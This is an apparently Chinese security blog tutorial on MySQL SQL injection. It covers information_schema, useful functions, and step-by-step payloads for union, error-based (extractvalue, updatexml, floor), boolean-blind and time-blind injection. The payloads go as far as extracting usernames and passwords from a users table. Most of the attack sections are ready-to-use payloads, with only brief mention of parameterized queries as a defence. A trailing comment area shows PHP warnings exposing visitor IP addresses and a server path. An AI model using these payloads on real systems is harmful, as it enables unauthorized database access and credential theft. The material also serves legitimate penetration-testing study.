WEB TOP10 之 SQL注入漏洞 MySQL (二)

0x0 MySQL 基础

00 MySQL 自带库表

  • 在 MySQL5.0 以上的版本中加入了一个 information_schema 这个自带库,这个库中包含了该数据库的所有数据库名、表名、列表,可以通过SQL注入来拿到用户的账号和口令,而 MySQL5.0 以下的只能暴力跑表名;
  • MySQL5.0 以下是 多用户单操作,MySQL5.0 以上是 多用户多操作
  • 在渗透测试中,information_schema库中有三个表对我们很重要
  1. schemata表 中 schema_name字段存储数据库中所有的库名
  2. tables 表 中 table_schema 字段存储 库名table_name 字段存储 表名
  3. columns 表 中 table_schema字段存储 库名table_name 字段存储 表名column_name字段存储字段名

01 MYSQL 常用语句

--连接--
mysql -h localhost -uroot -proot -P 3306

--创建数据库--
create database liuyanban;
create database liuyanban default character set utf8 default collate utf8_general_ci;

--短命令--
\c 删除正在输的命令
\s 服务器的状态
\h 帮助
\q 退出

--显示数据库名--
show databases;

--删除数据库--
drop database liuyanban;
drop database if exists liuyanban1;

--切换数据库--
use liuyanban;

--创建数据表并指定字段--
create table liuyan(id int auto_increment primary key,title varchar(255),content text);
auto_increment   # 自增
primary key      # 主键 默认不能为空

--显示表结构--
desc liuyan;

--删除表--
drop table liuyan;
drop table if exists liuyanban;

--操作表--
alter table liuyan action;
alter table liuyan rename as liuyanban;                  # 修改liuyan为liuyanban
alter table liuyan add time time;(first/after 字段名)     # 默认最后
alter table liuyan add primary key (time);               # 定义字段为主键
alter table liuyan modify time text;                     # 修改数据类型
alter table liuyan change time user varchar(255);        # 修改字段名及数据类型
alter table liuyan drop time;                            # 删除字段

--插数据--
insert into tbname(colname1,colname2) values('value1','value2');
insert into liuyan(title,content) values('test1','test1');                    # 插入单行数据
insert into liuyan(title,content) values('test1','test1'),('test2','test2');  # 插入多行数据

--更新数据--
update tbname set cloname='value' where id=1;
update tbname set title='test1' where id=1;
update tbname set title='test1' and content='test  1' where id=1;

--删除数据--
delete from liuyan where id =1;
delete from liuyan where id >5;

--查询数据--
select * from liuyan;
select title from liuyan where id=1;
select title from liuyan where id=1 order by id;          # 使用id排序
select title,content from liuyan where id=1 order by id;
select title from liuyan where id=1 order by id asc/desc; # 升序降序

0x1 常用函数总结

名称功能
user()返回当前使用数据库的用户
version()返回当前数据库版本
database()返回当前使用的数据库名
@@datadir返回数据库数据存储路径
@@basedir返回数据库安装路径
@@version_compile_os返回操作系统版本
concat()拼接字符串
concat_ws()拼接字符串指定分割符号,第一个参数为分割符号
group_concat()将多行结果拼接到一行显示
rand()返回0 ~ 1的随机值
floor()返回小于等于当前值的整数
count()返回执行结果的行数
hex转换成16进制 0x
ascii转换成ascii码
substr()截取字符串 substr(字符串,开始截取位置,截取长度) ,例如substr(‘abcdef’,1,2) 表示从第一位开始,截取2位,即 ‘ab’
substring()用法和substr()相同
mid()用法和substr()相同
length()获取字符串长度,例:select length(database()); 表示获取当前数据库名的长度
if()if(判断条件,为真的结果,为假的结果) 例:if(1>0,’true’,’false’) 1>0条件为真,返回true
sleep()sleep(int1) int1是中断时间,单位是秒。例:sleep(3) 表示中断3秒
benchmark()benchmark(arg1,arg2) 用来测试一些函数的执行速度。arg1是执行的次数,arg2是要执行的函数或者是表达式。与sleep()函数基本一致。在sleep()不能使用时,可用此函数代替

0x2 常见注入类型

00 union 联合查询注入

1. 判断注入点及类型

--整型:--
1+1
1-1
1 and 1=1
1 and 1=2

--字符型:--
1'
1"
1' and '1'='1
1' and '1'='2
--闭合方式可能为',",'),")等等,根据实际情况修改--

--搜索型:--
'and 1=1 and'%'='
%' and 1=1--+
%' and 1=1 and '%'='

2. 判断字段数

1' order by 1--+
1' order by n--+
--提示:可以利用二分法进行判断--

3. 判断数据显示位

  • union 关键字
  • 功能 :多条查询语句的结果合并成一个结果
  • 用法:查询语句1 union 查询语句2 union 查询语句3
  • 注意:
  1. 要求多条查询语句的查询列数是一致的
  2. union 关键字默认去重, 如果使用 union all 可以包含重复项
1' union select 1,2--+
--备注:这里使用**-1或任意一个不存在的值**使union之前的语句查询无结果,则显示的时候就会显示union之后的第二条语句--

4. 获取数据库信息:用户,版本,当前数据库名等

1' union select version(),user(),@@basedir#
1' union select version(),user(),@@basedir%23
1' union select database(),user(),@@datadir--+
1' union select @@version_compile_os,user(),@@basedir--

5.获取数据库中的所有名信息

1' union select 1,2,group_concat(schema_name) from information_schema.schemata--+

6.获取数据库中的所有名信息

--查询当前库--
1' union 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

查询其他库 
1' union 1,2,group_concat(table_name) from information_schema.tables where table_schema='dvwa'--+

这里的库名可以用16进制表示,也可用 char() 将库名每个字母的ascii码连起来表示

7. 获取数据库中的所有字段名信息

1' union 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() 
and table_name='users'--+

8. 获取数据库中的所有内容值信息

1' union 1,2,concat(username,password) from users--+
1' union 1,2,concat_ws('_',username,password) from users--+
1' union 1,2,group_concat(username,password) from users--+

9. 获取数据库中信息破解加密数据

WEB TOP10 之 SQL注入漏洞 MySQL (二)-侠者安全社区

01 error 报错注入

  • 报错注入(英文名:Error- based injection),就是利用数据库的某些机制,人为地制造错误条件,使得査询结果能够出现在错误信息中。
  • 正常用户访问服务器发送id信息返回正确的id数据。报错注入是想办法构造语句,让错误信息中可以显示数据库的内容,如果能让错误信息中返回数据库中的内容,即实现SQL注入。

000 XPATH 报错注入

  1. extractvalue(arg1, arg2)
  • 接受两个参数,arg1:XML文档,arg2:XPATH语句
  • 条件:mysql 5.1及以上版本
  • 标准payload:
and extractvalue(1,concat(0x7e,(select user()),0x7e))
and extractvalue(1,concat(0x7e,(此处可替换任意SQL语句),0x7e))
WEB TOP10 之 SQL注入漏洞 MySQL (二)-侠者安全社区
  1. updatexml(arg1, arg2, arg3)
  • arg1为xml文档对象的名称;arg2为 xpath格式的字符串;arg3为 string格式替换查找到的符合条件的数据。
  • 条件:mysql 5.1.5及以上版本
  • 标准payload:
and updatexml(1,concat(0x7e,(select user()),0x7e),1)
and updatexml(1,concat(0x7e,(此处可替换任意SQL语句),0x7e),1)
WEB TOP10 之 SQL注入漏洞 MySQL (二)-侠者安全社区

001 floor() 报错注入

  • floor() 报错注入准确地说应该是floor、 count、 group by冲突报错, count(*)、rand()、group by三者缺一不可
  • floor() 函数的作用是返回 小于等于该值的最大整数,只返回arg1整数部分,小数部分舍弃
  • 条件:mysql 5.0及以上版本
  • 标准 Payload:
and (select 1 from(select count(*),concat(user(),floor(rand(O)*2))x from information_schema.tables group by x)y)

and (select 1 from(select count(*),concat((此处可替换任意SQL语句),floor(rand(O)*2))x from information_schema.tables group by x)y)
  • 结果:Duplicate entry ‘root@localhost1’ for key ‘group key’
WEB TOP10 之 SQL注入漏洞 MySQL (二)-侠者安全社区
  • 标准Payload解析:
  • floor():取整数
  • rand():在0和1之间产生一个随机数
  • rand(0)*2:将取到的随机数乘以2=0
  • floor(rand()*2):有两条记录就会报错随机输出0或1
  • floor(rand(0)*2):记录需为3条以上,且3条以上必报错,返回的值是有规律的
  • count(*):用来统计结果,相当于刷新一次结果
  • group by:在对数据进行分组时会先看虚拟表中是否存在这个值,不存在就插入;存在的话 count(*)加1,在使用 group by时 floor(rand(0)*2)会被执行一次,若虛表不存在记录,插入虚表时会再执行一次

002 其他报错注入类型

WEB TOP10 之 SQL注入漏洞 MySQL (二)-侠者安全社区

03 BOOL 盲注

  • 布尔盲注(Boolean-based Blind SQL Injection)是一种SQL注入攻击的技术,利用布尔逻辑(即逻辑真假判断)来推测数据库的信息,在没有直接返回查询结果的情况下,判断注入是否成功。
  • 在布尔盲注中,攻击者可以构造针对数据库的恶意SQL语句,通过观察应用程序在不同情况下的响应,通过对比真假或逻辑条件的结果来逐步推断数据库的信息。例如,攻击者可以构造一个恶意SQL语句,在查询语句中增加条件,并观察应用程序返回的页面内容或行为是真还是假,从而逐步猜解数据库中的内容
  • 布尔盲注技术相对于直接获取数据结果的注入方法,更加隐蔽和困难,因为它需要更多的尝试和推断来确定数据库的信息。然而,通过耐心和多次尝试,攻击者仍然可以利用布尔盲注攻击来获取敏感信息或进行其他恶意操作。
  • 为了防范布尔盲注攻击,开发人员可以采取一些防御措施,例如使用参数化查询、验证和过滤用户输入、限制数据库查询条件的条件判断等。及早发现并修复潜在的SQL注入漏洞可以有效防止布尔盲注攻击。
普通SQL注入SQL盲注
执行SQL注入攻击时,服务器会响应来自数据库服务器的错误信息,信息提示SQL语法不正确等一般情况,执行SQL盲注,服务器不会直接返回具体的数据库错误 or 语法错误,而是会返回程序开发所设置的特定信息
一般在页面上直接就显示执行SQL语句的结果一般在页面上不会直接显示SQL执行的结果
1.判断注入点及类型
1' and 1=1%23   true
1' and 1=2%23   false

2.猜解数据库名的长度
and (length(database())>7--+   # 有回显数据库名长度>7
and (length(database())>8--+   # 无回显,说明数据库名长度<8
and (length(database())=8--+   # 有回显,说明数据库名长度=8
从这步开始均采用二分法逐步判断

3.猜解当前数据库名
and ascii(substr((database()),1,1)>100--+  # 有回显,说明数据库名第一位的ascii码>100
and ascii(substr((database()),1,1)>120--+  # 无回显,说明数据库名第一位的ascii码<120
and ascii(substr((database()),1,1)>115--+  # 无回显,说明数据库名第一位的ascii码<115
and ascii(substr((database()),1,1)=115--+  # 有回显,说明数据库名第一位的ascii码是115

4.猜解当前库中的表名个数
and (select count(*) from information_schema.tables where table_schema=database())>5--+
# 有回显,说明当前数据库中表名个数>5
and (select count(*) from information_schema.tables where table_schema=database())>10--+
# 无回显,说明当前数据库中表名个数<10
and (select count(*) from information_schema.tables where table_schema=database())=8--+
# 有回显,说明当前数据库中表名个数=8

5.猜解当前库中的表名长度
and (select length(table_name) from information_schema.tables where table_schema=database() 
limit 0,1)>5--+  # 有回显,说明当前数据库中第一张表长度>5
and (select length(table_name) from information_schema.tables where table_schema=database() 
limit 0,1)>10--+ # 无回显,说明当前数据库中第一张表长度<10
and (select length(table_name) from information_schema.tables where table_schema=database() 
limit 0,1)=6--+  # 有回显,说明当前数据库中第一张表长度=5
# 需要用limit来限制表的个数,每次读取一个表

6.猜解当前库中的表名
and ascii((substr((select table_name from information_schema.tables where table_schema=database limit
0,1),1,1)<100--+ # 有回显,说明当前数据库中第一张表的第一个字符ascii码<100
and ascii((substr((select table_name from information_schema.tables where table_schema=database limit
0,1),1,1)<90--+  # 无回显,说明当前数据库中第一张表的第一个字符ascii码>90
and ascii((substr((select table_name from information_schema.tables where table_schema=database limit
0,1),1,1)=97--+  # 有回显,说明当前数据库中第一张表的第一个字符ascii码=97,查询ascii码表可知,97='a'
# 更改substr()函数参数,猜解出本表名剩余字符;更改limit参数,依次猜解出所有表名

7.猜解表的字段名
# 先获取字段名个数,再回去字段名长度,最后获取字段名
and (select count(*) from information_schema.columns where table_schema=database() and 
table_name='users')>5--+  # 获取users表字段名个数
and (select length(column_name) from information_schema.columns where table_schema=database() and 
table_name='users' limit 0,1)>5--+ # 获取users表第一个字段长度
and (ascii(substr((select column_name from information_schema.columns where table_name='users' and
table_schema=database() limit 0,1),1,1))>100--+  # 有回显,说明users表中第一个字段名第一个字符ascii码>100

8.猜解表中数据
and (ascii(substr(select username from users limit 0,1),1,1))=68--+
# 有回显,说明users表中第一条数据的username字段值的第一个字符ascii码值=68,查询ascii表可知 68='D'

04 TIME 盲注

  • 时间盲注是一种SQL注入攻击技术,属于盲注攻击的一种变种。在时间盲注中,攻击者尝试通过在数据库中插入包含时间延迟函数的恶意SQL语句来推测数据库的结构和内容,而不直接获取查询的结果。
  • 时间盲注通常利用数据库的时间函数(如SLEEP()或BENCHMARK())来使得SQL查询停顿一段时间。通过观察应用程序的响应时间,攻击者可以确定注入是否成功,从而进一步猜测数据库中的信息
  • 相对于普通的SQL注入攻击,时间盲注关注的是是否能够控制或延迟应用程序的响应时间,而不是直接获取数据结果。因此,时间盲注攻击可能需要一定的耐心和尝试来确定数据库的信息,但在攻击成功后,攻击者仍可以执行类似的恶意操作,例如猜解密码、获取敏感信息等。为了防范时间盲注,开发人员可以采取一些防御措施,如使用参数化查询、验证和过滤用户输入、限制数据库的时间函数使用等。
1.判断注入点及类型
1' and 1=1%23   true
1' and 1=2%23   false

2.猜解数据库名的长度
and if(length(database())>5),sleep(5),1)--+
and if(length(database())=6),sleep(5),1)--+
# 通过页面显示的时间判断数据库名长度

3.猜解数据库名
and if(ascii(substr(database(),n,1)=m),sleep(5),1)--+  # 通过改变n和m依次获取数据库的字符

4.猜解数据库表名
# 同理先获取长度
and if((ascii(substr((select table_name from information_schema.tables where table_schema=database()
limit 0,1),1,1)))>100,sleep(5),1)--+

5.猜解数据库字段名名
and if((ascii(substr((select column_name from information_schema.columns where table_name='users'
and table_schema=database() limit 0,1),1,1)))>100,sleep(5),1)--+

6.猜解表中数据
and if((ascii(substr((select 列名 from 表名 limit 0,1),1,1)))=97,sleep(5),1)--+

© 版权声明
THE END
喜欢就支持一下吧
点赞14 分享
评论 共3条
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情

    Warning: file_get_contents(https://api.oioweb.cn/api/ip/ipaddress?ip=124.90.108.144): failed to open stream: Connection refused in /www/wwwroot/xiasec/wp-content/plugins/ACG/inc/options/functions.php on line 382

  1. Warning: file_get_contents(https://api.oioweb.cn/api/ip/ipaddress?ip=124.90.108.144): failed to open stream: Connection refused in /www/wwwroot/xiasec/wp-content/plugins/ACG/inc/options/functions.php on line 382

  2. Warning: file_get_contents(https://api.oioweb.cn/api/ip/ipaddress?ip=42.236.143.38): failed to open stream: Connection refused in /www/wwwroot/xiasec/wp-content/plugins/ACG/inc/options/functions.php on line 382